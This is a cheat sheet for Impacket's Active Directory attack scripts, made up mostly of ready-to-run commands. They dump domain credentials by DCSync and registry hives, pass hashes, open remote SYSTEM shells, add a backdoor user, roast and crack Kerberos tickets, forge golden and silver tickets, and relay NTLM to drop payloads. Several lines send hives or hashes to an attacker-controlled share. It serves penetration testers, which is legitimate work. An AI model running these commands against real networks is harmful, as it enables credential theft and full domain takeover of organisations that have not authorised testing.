Impacket cheatsheet

The Impacket cheat sheet covers the Python example scripts for AD and network protocol attacks - secretsdump/DCSync, remote execution (psexec, wmiexec, smbexec, atexec, dcomexec), Kerberoasting, AS-REP roasting, ticket forging (golden/silver, S4U), NTLM relay, and SMB/MSSQL/RPC tooling.

#Getting Started

#Installation

# Install via pipx (isolated, recommended)
pipx install impacket

# Or via pip
pip install impacket

# From source (latest scripts)
git clone https://github.com/fortra/impacket
cd impacket && pip install .

# On Kali the scripts are prefixed impacket-*
impacket-secretsdump -h
# From source / pip they keep the .py name
secretsdump.py -h

# Scripts live under examples/ in the repo
ls $(python -c 'import impacket, os; print(os.path.dirname(impacket.__file__))')/../examples

#Target Specification

Almost every script uses the same connection string:

[[domain/]username[:password]@]<targetName or address>

# Password auth
secretsdump.py CORP/jdoe:'P@ssw0rd'@10.10.10.10

# Blank password / null session
lookupsid.py CORP/[email protected] -no-pass

# Escape special chars in the password with quotes
psexec.py 'CORP/jdoe:P@ss:word!'@dc01.corp.local

#Authentication Options

#Common Auth Flags

These flags are shared across nearly all example scripts.

Flag	Purpose
`-hashes LMHASH:NTHASH`	Pass-the-Hash (use `:NTHASH` if no LM)
`-k`	Use Kerberos auth from `KRB5CCNAME` ccache
`-no-pass`	Do not prompt for a password (with `-k` or AS-REP)
`-aesKey <hex>`	Pass-the-Key / overpass-the-hash (AES128/256)
`-dc-ip <ip>`	KDC / DC to query (when name resolution fails)
`-target-ip <ip>`	Resolve the target host to this IP
`-debug`	Verbose output for troubleshooting

# Pass-the-Hash (NT hash only)
secretsdump.py -hashes :2b576acbe6bcfda7294d6bd18041b8fe CORP/[email protected]

# Kerberos: import a TGT/TGS ccache then authenticate with -k -no-pass
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass CORP/[email protected]

# Overpass-the-hash with AES key
getTGT.py -aesKey 5b7ff8...c0 CORP/administrator -dc-ip 10.10.10.10

#secretsdump.py - Credential Dumping

#Remote & DCSync

# Full remote dump: SAM + LSA secrets + cached creds + NTDS (if DC)
secretsdump.py CORP/administrator:'P@ssw0rd'@10.10.10.10

# Pass-the-Hash variant
secretsdump.py -hashes :NTHASH CORP/[email protected]

# DCSync ALL domain hashes via DRSUAPI (no need to be on the DC)
secretsdump.py -just-dc CORP/administrator:'P@ssw0rd'@dc01.corp.local

# DCSync NTLM hashes only (skip Kerberos keys, faster)
secretsdump.py -just-dc-ntlm CORP/[email protected] -hashes :NTHASH

# DCSync a single account (e.g. krbtgt for golden ticket)
secretsdump.py -just-dc-user krbtgt CORP/[email protected]

# Include password history (extra hashes for spraying/cracking)
secretsdump.py -just-dc -history CORP/[email protected]

# Use VSS (Volume Shadow Copy) instead of DRSUAPI (different detection)
secretsdump.py -use-vss CORP/administrator:'P@ssw0rd'@dc01.corp.local

# Kerberos auth (from ccache)
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass CORP/[email protected]

#Local / Offline Dump

# Dump local SAM + LSA on a live host (needs local admin)
secretsdump.py CORP/administrator:'P@ssw0rd'@10.10.10.10

# Only SAM (local account hashes)
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Offline from exported registry hives
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Offline NTDS.dit + SYSTEM hive
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# DPAPI machine/user secrets are decrypted inline in -lsa output

#Output Reference

Section	Contents
SAM	Local account NT hashes (`user:RID:LM:NT:::`)
LSA Secrets	Service account plaintext, cached logons, DPAPI, `$MACHINE.ACC`
NTDS.dit	All domain NT hashes + Kerberos keys (DCSync)
Kerberos keys	AES128/256/DES keys per account (for PtK)

#Remote Execution

#Execution Scripts

Script	Channel	Mechanism	Notes
psexec.py	SMB (445)	Uploads service binary, creates + starts a service	Noisiest (Event 7045), fully interactive SYSTEM shell
smbexec.py	SMB (445)	Creates a service that runs cmd per command	Semi-interactive, no binary dropped
wmiexec.py	WMI (135 + DCOM)	`Win32_Process.Create`, output via SMB share	Semi-interactive, common default, no service
atexec.py	SMB + Task Sched	Schedules a task, reads output file	One command per run (non-interactive)
dcomexec.py	DCOM (135)	MMC20 / ShellWindows / ShellBrowserWindow	Stealthier DCOM object abuse

#psexec / smbexec / wmiexec

# psexec.py - interactive SYSTEM shell (drops+starts a service)
psexec.py CORP/administrator:'P@ssw0rd'@10.10.10.10
psexec.py -hashes :NTHASH CORP/[email protected]
psexec.py CORP/administrator:'P@ssw0rd'@10.10.10.10 'whoami /all'

# wmiexec.py - semi-interactive shell over WMI (runs as the user, not SYSTEM)
wmiexec.py CORP/jdoe:'P@ssw0rd'@10.10.10.10
wmiexec.py -hashes :NTHASH CORP/[email protected]
wmiexec.py CORP/jdoe:'P@ssw0rd'@10.10.10.10 'ipconfig /all'   # one-shot
wmiexec.py -nooutput CORP/jdoe:'P@ssw0rd'@10.10.10.10 'net user hax P@ss1! /add'

# smbexec.py - service-based semi-interactive shell
smbexec.py CORP/administrator:'P@ssw0rd'@10.10.10.10

# All support Kerberos
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass CORP/[email protected]

#atexec / dcomexec

# atexec.py - single command via Task Scheduler
atexec.py CORP/administrator:'P@ssw0rd'@10.10.10.10 'whoami'
atexec.py -hashes :NTHASH CORP/[email protected] 'ipconfig'

# dcomexec.py - DCOM object execution (default object: MMC20)
dcomexec.py CORP/administrator:'P@ssw0rd'@10.10.10.10 'whoami'
dcomexec.py -object ShellWindows CORP/administrator:'P@ssw0rd'@10.10.10.10
dcomexec.py -object ShellBrowserWindow -silentcommand \
  CORP/administrator:'P@ssw0rd'@10.10.10.10 'powershell -enc <b64>'

# Note: -share (default ADMIN$) and -codec control output retrieval on
# wmiexec/smbexec/atexec/dcomexec

#Kerberos Roasting

#GetNPUsers.py - AS-REP Roast

# Targets accounts with "Do not require Kerberos preauthentication"
# UNAUTHENTICATED: spray a username list, no creds needed
GetNPUsers.py CORP/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 \
  -format hashcat -outputfile asrep.txt

# AUTHENTICATED: enumerate + request for all vulnerable users
GetNPUsers.py CORP/jdoe:'P@ssw0rd' -request -dc-ip 10.10.10.10 \
  -format hashcat -outputfile asrep.txt

# Single user
GetNPUsers.py CORP/targetuser -no-pass -dc-ip 10.10.10.10

# Crack (hashcat mode 18200)
hashcat -m 18200 asrep.txt rockyou.txt

#GetUserSPNs.py - Kerberoast

# List all SPN accounts (Kerberoastable service accounts)
GetUserSPNs.py CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

# Request TGS hashes for every SPN account
GetUserSPNs.py CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10 \
  -request -outputfile kerberoast.txt

# Roast a single target account
GetUserSPNs.py CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10 \
  -request-user svc_sql -outputfile svc_sql.txt

# Pass-the-Hash / Kerberos auth also supported
GetUserSPNs.py -hashes :NTHASH CORP/jdoe -dc-ip 10.10.10.10 -request

# Targeted Kerberoast without preauth data (if you control an account with
# GenericWrite on target: set SPN, roast, remove SPN)
# Crack TGS (hashcat mode 13100)
hashcat -m 13100 kerberoast.txt rockyou.txt

#Kerberos Tickets

#getTGT.py / getST.py

# Request a TGT -> writes user.ccache
getTGT.py CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10
getTGT.py -hashes :NTHASH CORP/jdoe -dc-ip 10.10.10.10
getTGT.py -aesKey <hex> CORP/jdoe -dc-ip 10.10.10.10
export KRB5CCNAME=jdoe.ccache

# getST.py - request a service ticket (TGS) for an SPN
getST.py -spn cifs/dc01.corp.local CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

#S4U Delegation (getST.py)

# Constrained delegation (S4U2Self + S4U2Proxy):
# service account can impersonate any user to its allowed SPN
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  -hashes :NTHASH 'CORP/svc_web' -dc-ip 10.10.10.10

# Resource-Based Constrained Delegation (RBCD):
# after writing msDS-AllowedToActOnBehalfOfOtherIdentity to a computer you control
getST.py -spn cifs/victim.corp.local -impersonate Administrator \
  'CORP/ATTACKER$:MachinePass123' -dc-ip 10.10.10.10

# S4U2Self only (unconstrained-style, keep the self ticket)
getST.py -self -impersonate Administrator -altservice cifs/victim.corp.local \
  -spn host/victim.corp.local 'CORP/ATTACKER$:MachinePass123'

# Force a forwardable ticket if the account lacks TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -force-forwardable -spn cifs/target.corp.local \
  -impersonate Administrator -hashes :NTHASH CORP/svc_web

# Use the resulting ticket
export KRB5CCNAME=Administrator@[email protected]
psexec.py -k -no-pass CORP/[email protected]

#ticketer.py - Golden & Silver

# GOLDEN TICKET (needs krbtgt hash + domain SID) - forge TGT for any user
ticketer.py -nthash <krbtgt_NT_hash> -domain-sid S-1-5-21-1111-2222-3333 \
  -domain corp.local Administrator
# Or with AES key (stealthier, matches modern krbtgt)
ticketer.py -aesKey <krbtgt_aes256_key> -domain-sid S-1-5-21-1111-2222-3333 \
  -domain corp.local Administrator

# SILVER TICKET (needs the SERVICE account/computer hash + SPN)
ticketer.py -nthash <machine_NT_hash> -domain-sid S-1-5-21-1111-2222-3333 \
  -domain corp.local -spn cifs/fileserver.corp.local Administrator

# Add extra group SIDs (e.g. Enterprise Admins for cross-domain)
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local \
  -extra-sid S-1-5-21-<root>-519 Administrator

# Use the forged ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass CORP/[email protected]

#ntlmrelayx.py - NTLM Relay

#Relay Targets & Actions

# Relay to SMB and dump SAM on any relayed session (SMB signing must be OFF)
ntlmrelayx.py -t smb://10.10.10.20 -smb2support

# Relay a list of targets (generate with nxc --gen-relay-list)
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Relay to SMB and execute a command / drop a beacon
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -c 'powershell -enc <b64>'
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -e payload.exe

# Relay to LDAP: escalate a user's ACL (e.g. grant DCSync) - relay DC$ auth
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user jdoe

# Relay to LDAPS: create a computer + configure RBCD (delegate access)
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access

# Relay to ADCS web enrollment (ESC8) -> get a cert for the victim account
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Interactive SMB client sessions instead of one action
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i
# then connect: nc 127.0.0.1 11000

# SOCKS mode: keep relayed sessions alive, pivot other tools through them
ntlmrelayx.py -tf relay_targets.txt -smb2support -socks

#Relay Flags & Coercion

Flag	Purpose
`-t` / `-tf`	Single target / targets file
`-smb2support`	Enable SMB2 (required for modern hosts)
`--remove-mic`	CVE-2019-1040 MIC bypass
`-6`	Listen on IPv6 (mitm6 chains)
`-wh <host>`	Serve a WPAD file (`--no-http-server` to disable)
`-socks`	Keep sessions open for SOCKS proxying

# Trigger coercion so a machine account authenticates to your relay:
#   PetitPotam.py <attacker> <dc-ip>        # MS-EFSR
#   printerbug.py CORP/user:pass@dc <attacker>   # MS-RPRN
#   coercer coerce -l <attacker> -t <dc>    # multi-protocol

#SMB & File Transfer

#smbclient.py

# Interactive SMB client
smbclient.py CORP/jdoe:'P@ssw0rd'@10.10.10.10
smbclient.py -hashes :NTHASH CORP/[email protected]
smbclient.py -k -no-pass CORP/[email protected]

# Useful in-shell commands:
#   shares               list shares
#   use <share>          select a share
#   ls / cd <dir>        browse
#   get <file>           download
#   put <file>           upload
#   mget <mask>          bulk download
#   cat <file>           print a file

#smbserver.py

# Host a share (great for exfil / hosting tools / capturing hashes)
smbserver.py SHARE /tmp/loot -smb2support

# Require authentication on the share
smbserver.py SHARE /tmp/loot -smb2support -username user -password Pass123

# Capture NetNTLMv2 hashes from coerced connections (-> hashcat -m 5600)
smbserver.py SHARE /tmp -smb2support
# On target: dir \\ATTACKER_IP\SHARE

#MSSQL & RPC

#mssqlclient.py

# Windows (domain) auth
mssqlclient.py CORP/jdoe:'P@ssw0rd'@10.10.10.30 -windows-auth
# SQL auth (local SQL login)
mssqlclient.py sa:'P@ssw0rd'@10.10.10.30
# Pass-the-Hash
mssqlclient.py -hashes :NTHASH CORP/[email protected] -windows-auth
# Kerberos
mssqlclient.py -k -no-pass CORP/[email protected] -windows-auth

# In-shell commands:
#   enable_xp_cmdshell / disable_xp_cmdshell
#   xp_cmdshell whoami
#   enum_links                  list linked servers
#   use_link <server>           pivot to a linked server
#   enum_impersonate            find impersonatable logins
#   exec_as_login <login>       impersonate a login
#   exec_as_user <user>         impersonate a db user
#   xp_dirtree \\ATTACKER\x     coerce service-account NetNTLM hash

#rpcdump.py / samrdump.py

# rpcdump.py - dump the RPC endpoint mapper (find MS-RPRN / MS-EFSR etc.)
rpcdump.py @10.10.10.10
rpcdump.py CORP/jdoe:'P@ssw0rd'@10.10.10.10 | grep -iE 'MS-RPRN|MS-EFSR|MS-PAR'

# samrdump.py - enumerate users/groups/aliases over MS-SAMR
samrdump.py CORP/jdoe:'P@ssw0rd'@10.10.10.10
samrdump.py -hashes :NTHASH CORP/[email protected]

#Enumeration

#lookupsid.py - RID Brute

# Brute-force RIDs to resolve domain users/groups from SIDs
lookupsid.py CORP/jdoe:'P@ssw0rd'@10.10.10.10

# Null session (works on some misconfigured DCs)
lookupsid.py CORP/[email protected] -no-pass

# Set a higher max RID (default 4000)
lookupsid.py CORP/jdoe:'P@ssw0rd'@10.10.10.10 20000

# Grab the domain SID (needed for golden tickets) from the output header

Script	Purpose
`GetADUsers.py`	List domain users + `lastLogon`/`pwdLastSet` via LDAP
`getArch.py`	Detect target OS architecture (x86/x64)
`netview.py`	Enumerate sessions / logged-on users across hosts
`reg.py`	Remote registry query/add/save over MS-RRP
`services.py`	List/start/stop/create Windows services remotely
`getPac.py`	Retrieve the PAC for a user (validation)

# List all enabled users with logon timestamps
GetADUsers.py -all CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

# Remote registry save of the SAM/SYSTEM hives
reg.py CORP/administrator:'P@ssw0rd'@10.10.10.10 save -keyName 'HKLM\SAM' -o '\\\\ATTACKER\\SHARE'

#Account Manipulation

#addcomputer.py

# Add a machine account (abuse default MachineAccountQuota = 10)
addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'MachinePass123' \
  CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

# Choose the creation method (SAMR over SMB, or LDAPS)
addcomputer.py -method LDAPS -computer-name 'ATTACKER$' \
  -computer-pass 'MachinePass123' CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

# Delete the computer (cleanup, LDAPS method)
addcomputer.py -method LDAPS -computer-name 'ATTACKER$' -delete \
  CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

#changepasswd.py & rbcd.py

# Change your OWN password (kpasswd / SAMR)
changepasswd.py CORP/jdoe:'OldPass1'@dc01.corp.local -newpass 'NewPass1!'

# Reset ANOTHER user's password using privileged creds (e.g. ForceChangePassword ACL)
changepasswd.py CORP/[email protected] -newpass 'Reset123!' \
  -altuser CORP/admin -altpass 'AdminPass' -reset

# Set password from a known NT hash (over Kerberos, no old password)
changepasswd.py CORP/[email protected] -newpass 'NewPass1!' -hashes :NTHASH

# rbcd.py - read/write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'VICTIM$' -action write \
  CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10
rbcd.py -delegate-to 'VICTIM$' -action read CORP/jdoe:'P@ssw0rd' -dc-ip 10.10.10.10

#See also

#Cyber Aurelien Guidi

NetExec (SMB/LDAP swiss-army knife)
Certipy (ADCS / ESC exploitation)
BloodHound (AD attack paths)
Mimikatz (credential dumping)
Hashcat (crack roasted hashes)